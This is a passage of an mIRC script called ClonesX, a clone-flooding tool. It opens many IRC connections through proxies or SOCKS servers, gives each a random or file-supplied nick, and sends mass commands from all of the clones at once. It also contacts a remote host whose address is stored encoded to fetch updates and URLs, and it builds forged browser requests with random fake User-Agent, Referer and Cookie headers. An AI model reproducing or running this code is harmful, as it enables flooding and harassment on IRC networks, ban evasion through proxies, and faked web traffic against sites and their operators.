  564. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,78,%p.cloning.pn5),1,32) $gettok($did(p.cloning,78,%p.cloning.pn5),2,32)
  565. var %i = %i + 1
  566. }
  567. .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  568. p.cloning.recr 0
  569. }
  570. p.cloning.delch
  571. }
  572. }
  573. alias -l p.cloning.recr {
  574. if ($dialog(p.cloning)) {
  575. if ($$1 == 0) {
  576. did -b p.cloning 10 | did -b p.cloning 12 | did -b p.cloning 47 | did -b p.cloning 50 | did -b p.cloning 391
  577. did -b p.cloning 35 | did -b p.cloning 36 | did -b p.cloning 37 | did -b p.cloning 38 | did -b p.cloning 48 | did -b p.cloning 421 | did -b p.cloning 422
  578. }
  579. if ($$1 == 1) {
  580. did -e p.cloning 10 | did -e p.cloning 12 | did -e p.cloning 47 | did -e p.cloning 50 | did -e p.cloning 391
  581. did -e p.cloning 35 | did -e p.cloning 36 | did -e p.cloning 37 | did -e p.cloning 38
  582. if (??* iswm $did(p.cloning,10)) && ($abs($did(p.cloning,12)) != 0) && ($abs($did(p.cloning,50)) != 0) {
  583. if ($did(p.cloning,36).state == 0) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
  584. elseif ($did(p.cloning,38)) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
  585. }
  586. }
  587. }
  588. }
  589. alias -l p.clon.stats {
  590. if ($dialog(p.cloning)) {
  591. ;did -o p.cloning 41 1 $iif($lines(CloneX.ini),$lines(CloneX.ini),-)
  592. ;did -o p.cloning 43 1 $iif($lines(CloneXo.ini),$lines(CloneXo.ini),-)
  593. did -o p.cloning 41 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
  594. did -o p.cloning 43 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
  595. ;echo -s DEBUG: Reales: $iif($p.cloning.dos.numC(1),$p.cloning.dos.numC(1),-) y Sockets: $iif($p.cloning.dos.numC(0),$p.cloning.dos.numC(0),-)
  596. ;did -o p.cloning 43 1 %p.cloning.n
  597. if ($1-) { did -i p.cloning 44 $did(p.cloning,44).lines $1- }
  598. }
  599. }
  600. on 1:DIALOG:p.cloning:init:0: {
  601. .disable #p.cloning.DdnsD
  602. p.cloning.delch
  603. ;.remove CloneX.ini | .remove CloneXo.ini
  604. if ($hget(p.cloning.a)) { hfree p.cloning.a }
  605. unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off
  606. did -i $dname 12 1 6666 | did -i $dname 12 2 6667 | did -i $dname 12 3 6668 | did -i $dname 12 4 6669 | did -i $dname 12 5 7000 | did -c $dname 12 2
  607. if (%p.save.cloning.srv) { did -i $dname 10 1 %p.save.cloning.srv }
  608. did -c $dname 35 | did -i $dname 37 1 Aleatory | did -i $dname 37 2 Lemming | did -i $dname 37 3 Smurf | did -c $dname 37 1
  609. did -c $dname 333 | did -b $dname 415 | did -b $dname 416 | did -b $dname 418 | did -b $dname 419 | did -b $dname 412
  610. var %i = 1 | var %o = 1 | while (%o < 200) { did -i $dname 50 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -c $dname 50 1
  611. var %i = 1 | var %o = 1 | while (%o < 20) { did -i $dname 391 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -i $dname 391 1 0 | did -c $dname 391 3
  612. did -i $dname 47 1 Normal | did -i $dname 47 2 Proxy | did -i $dname 47 3 Socks 4 | did -i $dname 47 4 Socks 5 | did -c $dname 47 1
  613. p.cloning.conEcheck
  614.  
  615. }
  616. on 1:SOCKREAD:p.cloning.*: {
  617. if ($dialog(p.cloning)) {
  618. var %p.cloning.server = $did(p.cloning,10)
  619. var %p.cloning.port = $did(p.cloning,12)
  620. if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port - $+ %p.cloning.read $+ - | p.cloning.cmds }
  621. else {
  622.  
  623. if ($did(p.cloning,47).text == Socks 4) {
  624. if ($sock($sockname).mark != 1) {
  625. sockread &p.cloning.bread
  626. if ($bvar(&p.cloning.bread,1,2) == 0 90 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
  627. if ($bvar(&p.cloning.bread,1,2) == 0 91 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Socks4- | .sockclose $sockname | p.cloning.cmds | return }
  628. }
  629. }
  630. if ($did(p.cloning,47).text == Socks 5) {
  631. if ($sock($sockname).mark != 1) {
  632. sockread &p.cloning.bread
  633. ;echo -s bvar: $bvar(&p.cloning.bread,1,10)
  634. if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
  635. ;echo -s Protocol Accepted. Iniciating connection.
  636. var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
  637. var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
  638. bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
  639. sockwrite $sockname &p.cloning.ssenndd
  640. ;echo -s Sending: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
  641. }
  642. if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Socks5- | p.cloning.cmds }
  643. if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
  644. if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Socks5- | p.cloning.cmds }
  645. if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Socks5- | p.cloning.cmds }
  646. if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Socks5- | p.cloning.cmds }
  647. }
  648. }
  649.  
  650. sockread %p.cloning.read
  651. var %p.cloning.sec1 = $gettok(%p.cloning.read,1,32)
  652. var %p.cloning.sec2 = $gettok(%p.cloning.read,2,32)
  653. var %p.cloning.sec3 = $gettok(%p.cloning.read,3,32)
  654. ;echo -s Read: %p.cloning.read
  655. if ($abs(%p.cloning.sec2)) && ($left(%p.cloning.sec1,1) == $chr(58)) {
  656. if (%p.cloning.sec2 == 1) { p.cloning.do.w $sockname 1, $+ %p.cloning.sec3 | p.clon.stats -Connected: %p.cloning.server %p.cloning.port | p.cloning.cmds }
  657. if (%p.cloning.sec2 == 433) && ($gettok($hget(p.cloning.a,$sockname),1,44) == 0) { p.cloning.usIn $sockname }
  658. }
  659. elseif (!$abs(%p.cloning.sec2)) {
  660. if (%p.cloning.sec2 == NICK) {
  661. if ($remove($gettok(%p.cloning.sec1,1,33),:) == $p.cloning.do.saNick($sockname)) && ($gettok(%p.cloning.sec1,2,33)) {
  662. var %p.cloning.nnick = $remove(%p.cloning.sec3,:)
  663. var %p.cloning.anick = $remove($gettok(%p.cloning.sec1,1,33),:)
  664. if ($didwm(p.cloning,351,%p.cloning.anick)) { did -o p.cloning 351 $ifmatch %p.cloning.nnick }
  665. if ($didwm(p.cloning,369,%p.cloning.anick)) { did -o p.cloning 369 $ifmatch %p.cloning.nnick }
  666. if ($didwm(p.cloning,373,%p.cloning.anick)) { did -o p.cloning 373 $ifmatch %p.cloning.nnick }
  667. p.cloning.do.w $sockname 1, $+ %p.cloning.nnick
  668. p.cloning.nicks.act
  669. }
  670. }
  671. }
  672. if (%p.cloning.sec1 == PING) {
  673. sockwrite -nt $sockname pong : $+ $remove(%p.cloning.sec2,:) | return
  674. }
  675. }
  676.  
  677. }
  678. }
  679. alias -l p.cloning.con.com {
  680. ;p.cloning.do.rw.o $$1
  681. ;p.cloning.do.rw $$1
  682. if ($hget(p.cloning.a)) { hdel p.cloning.a $$1 }
  683. }
  684.  
  685. on 1:SOCKOPEN:p.cloning.*: {
  686. if ($dialog(p.cloning)) {
  687. var %p.cloning.server = $did(p.cloning,10)
  688. var %p.cloning.port = $did(p.cloning,12)
  689. p.cloning.delch
  690. if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Session start- | p.cloning.cmds }
  691. else {
  692. ;inc %p.cloning.nv | p.clon.stats on: %p.cloning.server %p.cloning.port
  693. if ($did(p.cloning,47).text == Normal) { p.cloning.usIn $sockname }
  694. elseif ($did(p.cloning,47).text == Proxy) {
  695. sockwrite $sockname CONNECT %p.cloning.server $+ : $+ %p.cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
  696. sockwrite $sockname $CRLF
  697. .timerUs. [ $+ [ $sockname ] ] 1 2 p.cloning.usIn $sockname
  698. }
  699. elseif ($did(p.cloning,47).text == Socks 4) {
  700. var %p.cloning.port1 = $gettok($longip(%p.cloning.port),3,46)
  701. var %p.cloning.port2 = $gettok($longip(%p.cloning.port),4,46)
  702. var %p.cloning.portS4 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
  703. var %p.cloning.serverS4 = $replace(%p.cloning.server,.,$chr(32))
  704.  
  705. ;bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4 $CRLF
  706. bset &p.cloning.ssenndd 1 4 1 %p.cloning.portS4 %p.cloning.serverS4 $CRLF
  707. sockwrite $sockname &p.cloning.ssenndd
  708. ;echo -s sockopen passive: bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4
  709. }
  710. elseif ($did(p.cloning,47).text == Socks 5) {
  711. bset &p.cloning.ssenndd 1 5 1 0
  712. ; -t?
  713. sockwrite $sockname &p.cloning.ssenndd
  714. }
  715.  
  716. }
  717.  
  718. }
  719. }
  720. alias -l p.cloning.delch {
  721. }
  722.  
  723.  
  724. alias -l p.cloning.cmds {
  725. if ($dialog(p.cloning)) {
  726. p.cloning.nicks.act
  727. if ($did(p.cloning,314).enabled == $false) && ($did(p.cloning,41).text > 0) {
  728. did -e p.cloning 314 | did -e p.cloning 316 | did -e p.cloning 318 | did -e p.cloning 320
  729. did -e p.cloning 322 | did -e p.cloning 324 | did -e p.cloning 326 | did -e p.cloning 328
  730. did -e p.cloning 329 | did -e p.cloning 331 | did -e p.cloning 333 | did -e p.cloning 339
  731. did -e p.cloning 334 | did -e p.cloning 335 | did -e p.cloning 336 | did -e p.cloning 337
  732. did -e p.cloning 372 | did -e p.cloning 373 | did -e p.cloning 369 | did -e p.cloning 368
  733. did -e p.cloning 367 | did -e p.cloning 351 | did -e p.cloning 350 | did -e p.cloning 349 | did -e p.cloning 371
  734. did -e p.cloning 415 | did -e p.cloning 416 | did -e p.cloning 418 | did -e p.cloning 419 | did -e p.cloning 412
  735. }
  736. else {
  737. if ($did(p.cloning,314).enabled == $true) && ($did(p.cloning,41).text <= 0) || ($did(p.cloning,41).text == $null) {
  738. did -r p.cloning 314 | did -r p.cloning 316 | did -r p.cloning 318 | did -r p.cloning 320
  739. did -r p.cloning 322 | did -r p.cloning 324 | did -r p.cloning 326 | did -r p.cloning 328
  740. did -r p.cloning 329 | did -r p.cloning 331 | did -r p.cloning 339 | did -r p.cloning 351
  741. did -r p.cloning 369 | did -r p.cloning 373 | did -b p.cloning 306 | did -b p.cloning 307 | did -b p.cloning 312
  742. did -b p.cloning 308 | did -b p.cloning 309 | did -b p.cloning 310 | did -b p.cloning 311 | did -b p.cloning 330
  743. did -b p.cloning 314 | did -b p.cloning 316 | did -b p.cloning 318 | did -b p.cloning 320
  744. did -b p.cloning 322 | did -b p.cloning 324 | did -b p.cloning 326 | did -b p.cloning 328
  745. did -b p.cloning 329 | did -b p.cloning 331 | did -b p.cloning 333 | did -b p.cloning 339
  746. did -b p.cloning 334 | did -b p.cloning 335 | did -b p.cloning 336 | did -b p.cloning 337
  747. did -b p.cloning 372 | did -b p.cloning 373 | did -b p.cloning 369 | did -b p.cloning 368
  748. did -b p.cloning 367 | did -b p.cloning 351 | did -b p.cloning 350 | did -b p.cloning 349 | did -b p.cloning 371
  749. did -b p.cloning 415 | did -b p.cloning 416 | did -b p.cloning 418 | did -b p.cloning 419 | did -b p.cloning 412
  750. }
  751. }
  752. }
  753. }
  754. alias -l p.cloning.runcmd {
  755. if ($dialog(p.cloning)) {
  756. if ($did(p.cloning,334).state == 1) {
  757. var %i = 1
  758. while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
  759. var %p.cloning.runcmd.nick = $ifmatch
  760. if ($$1 == nick) {
  761. if (!$did(p.cloning,339,2).sel) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z) $+ $rand(0,9999),$$2) }
  762. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z),$$2) $+ $rand(0,9999) }
  763. }
  764. elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :byessssssss }
  765. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
  766. var %i = %i + 1
  767. }
  768. return
  769. }
  770. elseif ($did(p.cloning,333).state == 1) { var %p.cloning.runcmd.idL = 339 }
  771. elseif ($did(p.cloning,335).state == 1) { var %p.cloning.runcmd.idL = 351 }
  772. elseif ($did(p.cloning,336).state == 1) { var %p.cloning.runcmd.idL = 369 }
  773. elseif ($did(p.cloning,337).state == 1) { var %p.cloning.runcmd.idL = 373 }
  774. }
  775. var %i = 1
  776. while ($did(p.cloning,%p.cloning.runcmd.idL,%i).text) {
  777. var %p.cloning.runcmd.nick = $ifmatch
  778. if ($$1 == nick) {
  779. if (!$did(p.cloning,%p.cloning.runcmd.idL,2)) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z) $+ $rand(0,9999),$$2) }
  780. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z),$$2) $+ $rand(0,9999) }
  781. }
  782. elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :byessssssss }
  783. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
  784. var %i = %i + 1
  785. }
  786. }
  787. alias -l p.cloning.list.nicksch {
  788. if ($dialog(p.cloning)) {
  789. var %i = 1
  790. var %o = 1
  791. while ($p.cloning.r(%i)) {
  792. var %p.cloning.list.nicksch.sta = $gettok($ifmatch,1,44)
  793. var %p.cloning.list.nicksch.nick = $gettok($ifmatch,2,44)
  794. if (%p.cloning.list.nicksch.sta) {
  795. if ($exists($$1) == $false) { p.cloning.fal Archivo no encontrado! }
  796. var %p.cloning.list.nicksch.nnick = $gettok($read($$1,%o),1,32)
  797. if (%p.cloning.list.nicksch.nnick) {
  798. if ($abs(%p.cloning.list.nicksch.nnick)) { p.cloning.fal Nicks must begin with a char... File format: Nick/Ident }
  799. sockwrite -nt $hget(p.cloning.a,%i).item nick %p.cloning.list.nicksch.nnick
  800. }
  801. var %o = %o + 1
  802. }
  803. var %i = %i + 1
  804. }
  805. }
  806. }
  807. alias -l p.cloning.list.save {
  808. if ($dialog(p.cloning)) {
  809. var %i = 1
  810. .remove $$1
  811. while ($did(p.cloning,339,%i).text) {
  812. write $$1 $ifmatch
  813. var %i = %i + 1
  814. }
  815. }
  816. }
  817. alias -l p.cloning.nicks.act {
  818. if ($dialog(p.cloning)) {
  819. did -r p.cloning 339
  820. var %i = 1
  821. var %o = 1
  822. while ($p.cloning.r(%i)) {
  823. var %p.cloning.nicks.act = $gettok($ifmatch,1,44)
  824. var %p.cloning.nicks = $gettok($ifmatch,2,44)
  825. if (%p.cloning.nicks.act == 1) { did -i p.cloning 339 %o %p.cloning.nicks | var %o = %o + 1 }
  826. var %i = %i + 1
  827. }
  828. }
  829. }
  830. alias -l p.cloning.usIn {
  831. if ($dialog(p.cloning)) {
  832. if (%p.cloning.Nlist.conn == 1) {
  833. inc %p.cloning.Nlist.conn.n
  834. var %p.cloning.usIn.nick = $gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),1,32)
  835. var %p.cloning.usIn.ident = $lower($gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),2,32))
  836. if (%p.cloning.usIn.nick) && ($abs(%p.cloning.usIn.nick)) { p.cloning.fal Nicks must begin with a char... File format: Nick [Ident] }
  837. if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif(%p.cloning.usIn.ident,%p.cloning.usIn.ident,$iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text))) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
  838. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
  839. var %p.cloning.usIn.nick = $lower($iif(%p.cloning.usIn.nick,%p.cloning.usIn.nick,$iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text $+ $rand(0,9999)))))
  840. p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
  841. if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
  842. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
  843. }
  844. else {
  845. if ($did(p.cloning,35).state == 1) {
  846. if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
  847. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
  848. var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z),$did(p.cloning,37).text)) $+ $rand(0,9999)
  849. p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
  850. if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
  851. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
  852. }
  853. elseif ($did(p.cloning,36).state == 1) {
  854. if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,38).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
  855. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
  856. var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z),$did(p.cloning,38).text)) $+ $rand(0,9999)
  857. p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
  858. if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
  859. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
  860. }
  861. }
  862. }
  863. }
  864. on 1:SOCKCLOSE:p.cloning.*: {
  865. if ($dialog(p.cloning)) {
  866. ;echo -s Ha cerrado: $sock($sockname,1).wsmsg
  867. p.cloning.con.com $sockname | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Remote- | p.cloning.cmds
  868. }
  869. }
  870. alias -l p.cloning.w { hadd -m p.cloning.a $$1 $$2 }
  871. alias -l p.cloning.r { return $hget(p.cloning.a,$hget(p.cloning.a,$$1).item) }
  872. alias -l p.cloning.do.w {
  873. ;if ($hget(p.cloning.a,$$1) != $null) { return }
  874. p.cloning.w $$1 $$2
  875. }
  876. alias -l p.cloning.do.saNick { return $gettok($hget(p.cloning.a,$$1),2,44) }
  877. alias -l p.cloning.do.saSockN {
  878. var %i = 1
  879. while ($p.cloning.r(%i)) {
  880. if ($gettok($p.cloning.r(%i),2,44) == $$1) { return $hget(p.cloning.a,%i).item }
  881. var %i = %i + 1
  882. }
  883. }
  884. alias -l p.cloning.dos.numCL {
  885. var %i = 1 | var %o = 0
  886. while ($p.cloning.r(%i)) {
  887. var %p.cloning.pill = $ifmatch
  888. if ($gettok(%p.cloning.pill,1,44) == 1) { var %o = %o + 1 }
  889. var %i = %i + 1
  890. }
  891. if ($$1 == 0) { return $calc(%i - 1) }
  892. elseif ($$1 == 1) { return %o }
  893. }
  894. alias -l p.cloning.ipports {
  895. if ($dialog(p.cloning.ipport)) { dialog -v p.cloning.ipport }
  896. else { dialog -md p.cloning.ipport p.cloning.ipport }
  897. }
  898. dialog p.cloning.ipport {
  899. title "Clones Connected IP&Ports"
  900. size -1 -1 157 225
  901. option dbu
  902. button "&OK", 1, 16 210 120 12, ok
  903. box "At the moment", 2, 1 1 155 207
  904. edit "", 3, 4 8 149 185, read multi hsbar vsbar
  905. button "&Refresh", 4, 55 195 45 10
  906. }
  907. alias -l p.cloning.ipports.act {
  908. if ($dialog(p.cloning.ipport)) {
  909. did -r p.cloning.ipport 3
  910. var %i = 1
  911. while ($sock(p.cloning.*,%i)) {
  912. var %p.cloning.ipports.act = $ifmatch
  913. var %p.cloning.ipports.act.ip = $sock(%p.cloning.ipports.act).ip
  914. var %p.cloning.ipports.act.port = $sock(%p.cloning.ipports.act).port
  915. if ($gettok($hget(p.cloning.a,%p.cloning.ipports.act),1,44) == 1) && (!$didwm(p.cloning.ipport,3,%p.cloning.ipports.act.ip %p.cloning.ipports.act.port)) {
  916. did -i p.cloning.ipport 3 $did(p.cloning.ipport,3).lines %p.cloning.ipports.act.ip %p.cloning.ipports.act.port
  917. }
  918. var %i = %i + 1
  919. }
  920. }
  921. }
  922. on 1:DIALOG:p.cloning.ipport:sclick:4: { p.cloning.ipports.act }
  923. on 1:DIALOG:p.cloning.ipport:init:0: { p.cloning.ipports.act }
  924. alias -l p.cloning.see.act {
  925. var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
  926. if ($gettok(%p.act.cloning.1,1,44)) && ($gettok(%p.act.cloning.1,1,44)) { .SockOpen p.see.cloning.act $gettok(%p.act.cloning.1,1,44) $gettok(%p.act.cloning.1,2,44) }
  927. }
  928. on 1:SockOpen:p.see.cloning.act: {
  929. if ($sockerr == 0) {
  930. var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
  931. sockwrite -nt $sockname GET $gettok(%p.act.cloning.1,3,44)
  932. .timerp.act.cloning.close 1 60 .SockClose p.see.cloning.act
  933. }
  934. }
  935. on 1:SockRead:p.see.cloning.act: {
  936. if ($sockerr == 0) {
  937. sockread %p.see.cloning.act
  938. var %p.see.cloning.act1 = $gettok(%p.see.cloning.act,1,58)
  939. var %p.see.cloning.act2 = $gettok(%p.see.cloning.act,2-,58)
  940. if (%p.see.cloning.act1 == VERSION) && (%p.see.cloning.act2) { p.cloning.actua %p.see.cloning.act2 }
  941. elseif (%p.see.cloning.act1 == PEA) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.pea %p.see.cloning.act2 }
  942. elseif (%p.see.cloning.act1 == URL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.url %p.see.cloning.act2 }
  943. elseif (%p.see.cloning.act1 == BURL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.burl %p.see.cloning.act2 }
  944. elseif (%p.see.cloning.act1 == BCON) && (%p.see.cloning.act2 != $null) { set %p.act.cloning.see.c.bcon %p.see.cloning.act2 }
  945. elseif (%p.see.cloning.act1 == ENOT) && (%p.see.cloning.act2) { echo -s ClonesX News: %p.see.cloning.act2 }
  946. }
  947. }
  948. alias -l p.cloning.crdts { if ($dialog(p.cloning.cred)) { dialog -v p.cloning.cred } | else { dialog -md p.cloning.cred p.cloning.cred } }
  949. on 1:sockopen:p.b.cloning?: {
  950. if ($sockerr == 0) {
  951. var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
  952. var %p.b.cloning.prt1 = $gettok(%p.b.cloning.1,3,44) | var %p.b.cloning.prt2 = $gettok(%p.b.cloning.1,4,44)
  953. var %p.b.cloning.prt3 = $gettok(%p.b.cloning.1,5,44) | var %p.b.cloning.prt4 = $gettok(%p.b.cloning.1,6,44)
  954. var %p.b.cloning.prt5 = $gettok(%p.b.cloning.1,7,44)
  955. if ($sockname == p.b.cloning1) {
  956. var %p.cloning.rrand = $rand(0,2)
  957. if (%p.cloning.rrand == 0) { set %p.cloning.b.lng en }
  958. elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng it }
  959. else { set %p.cloning.b.lng es }
  960. var %p.cloning.rrand = $rand(0,2)
  961. if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ NT }
  962. elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 95 }
  963. else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 98 }
  964. var %p.cloning.rrand = $rand(0,2)
  965. if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.0 }
  966. elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.5 }
  967. else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 6.0 }
  968.  
  969. var %p.b.cloning.tsn = GET %p.b.cloning.prt1 HTTP/1.1 $+ $crlf $+ Accept: */* $+ $crlf $+ Referer: %p.b.cloning.prt5 $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
  970. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
  971. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive $+ $crlf $+ $crlf
  972. ;sockwrite -nt $sockname %p.b.cloning.tsn
  973. .timerp.cloning.BB1 1 3 p.cloning.bbdo 2
  974. }
  975. elseif ($sockname == p.b.cloning2) {
  976. var %p.b.cloning.tsn = GET %p.b.cloning.prt2 HTTP/1.1 $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
  977. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
  978. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
  979. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive
  980. if ($calc($ctime - %p.act.cloning.see.c.burl.tt) < 86400) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
  981. else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf | set %p.act.cloning.see.c.burl.tt $ctime }
  982. ;unset %p.cloning.b.lng
  983. ;sockwrite -nt $sockname %p.b.cloning.tsn
  984. ;.timerp.cloning.BB 1 2 .sockclose $sockname
  985. }
  986. else {
  987. var %p.b.cloning.tsn = $iif(http:// isin %p.cloning.b.lng.l,GET / HTTP/1.1,GET / $+ %p.cloning.b.lng.l HTTP/1.1)
  988. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
  989. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
  990. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
